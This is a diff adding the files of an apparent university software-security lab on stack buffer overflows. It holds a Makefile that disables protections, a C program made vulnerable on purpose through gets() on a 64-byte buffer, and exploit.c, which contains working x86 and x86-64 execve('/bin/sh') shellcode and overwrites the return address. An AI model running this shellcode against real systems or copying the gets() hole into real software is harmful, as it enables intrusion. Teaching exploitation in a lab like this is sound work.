First part of TD5

content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/Makefile

@@ -0,0 +1,35 @@
+CC = gcc
+CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack
+SRC = $(wildcard *.c)
+TGT = $(subst .c,,$(SRC))
+BUILD_DIR = build
+DUMP_DIR = dump
+
+
+pframe:
+	curl -o pframe.tgz  https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
+		tar -xf pframe.tgz &&\
+		rm -rf pframe.tgz
+
+.gdbinit:
+
+configure: pframe .gdbinit
+	$(shell echo "python import pframe" > .gdbinit) 
+
+$(BUILD_DIR)/%: %.c
+	$(shell mkdir -p $(BUILD_DIR))
+	$(CC) $(CFLAGS) -o $@ $<
+
+build: $(addprefix $(BUILD_DIR)/, $(TGT)))
+
+
+PHONY: gdb
+gdb: build/exploit build/anodin configure
+	./$(BUILD_DIR)/exploit > hack.txt &
+	PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
+			   setarch -R gdb ./$(BUILD_DIR)/anodin --command=$(subst gdb_,,$@).gdb
+	rm hack.txt
+
+PHONY: clean
+clean:
+	@rm -rf $(BUILD_DIR) pframe .gdbinit

content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.c

@@ -0,0 +1,23 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+
+int litentier(void) {
+	unsigned char buf[64];
+	int i;
+	printf("%p\n", buf);
+	printf("> ");
+	fflush(stdout);
+	gets(buf);
+	i=atoi(buf);
+	return i;
+}
+
+int main(int argc, char *argv[]) {
+	while (1) {
+		int i;
+		i = litentier();
+		printf("ok %d\n", i);
+	}
+}

content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/anodin.gdb

@@ -0,0 +1,2 @@
+b litentier
+r < hack.txt

content/secu_logicielle/td5-stackoverflow_shellcode/files/q2/exploit.c

@@ -0,0 +1,62 @@
+#include <stdlib.h>
+#include <stdio.h>
+
+
+unsigned char exploit[1024] = {
+	0x90, 0x90, 0x90, 0x90,		// A few nops for some margin
+	0x90, 0x90, 0x90, 0x90,
+	0x90, 0x90, 0x90, 0x90,
+	0x90, 0x90, 0x90, 0x90,
+
+#ifdef __x86_64__
+	/* 64 bit version */
+	0xe8, 0x08, 0x00, 0x00, 0x00,	// push the address of what is next
+	'/','b','i','n','/','s','h','\0',
+	0x5f,				// pop the address
+	0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00,	// execve system call
+	0x6a, 0x00,			// push NULL at the end of the array
+	0x48, 0x89, 0xe2,		// envp
+	0x57,				// push adress
+	0x48, 0x89, 0xe6,		// argv
+	0x0f, 0x05,			// system call!
+#else
+	/* 32 bit version */
+	0xe8, 0x08, 0x00, 0x00, 0x00,	// push the address of what is next
+	'/','b','i','n','/','s','h','\0',
+	0x5b,				// pop the adress
+	0xb8, 0x0b, 0x00, 0x00, 0x00,	// execve system call
+	0x6a, 0x00,			// push NULL at the end of the array
+	0x89, 0xe2,			// envp
+	0x53,				// push adress
+	0x89, 0xe1,			// argv
+	0xcd, 0x80,			// system call!
+#endif
+};
+
+int main(void) {
+	int i;
+	void **exploit_ptr = (void*) &exploit;
+	void *ptr;
+
+	fprintf(stderr,"Type the buf address printed by anodin\n");
+	scanf("%p", &ptr);
+
+	// Un peu de marge
+	ptr += 8;
+
+	// écraser l'adresse de retour
+	for (i = 0; i < 8; i++)
+		exploit_ptr[64/sizeof(void*)+i] = ptr;
+
+	for (i=0;i<sizeof(exploit);i++)
+		putchar(exploit[i]);
+
+	for (i=0;i<8192;i++)
+		putchar('\n');
+
+	printf("touch /tmp/ahah\n");
+	printf("echo \"I created file\" /tmp/ahah \\!\n");
+	fflush(stdout);
+
+	return 0;
+}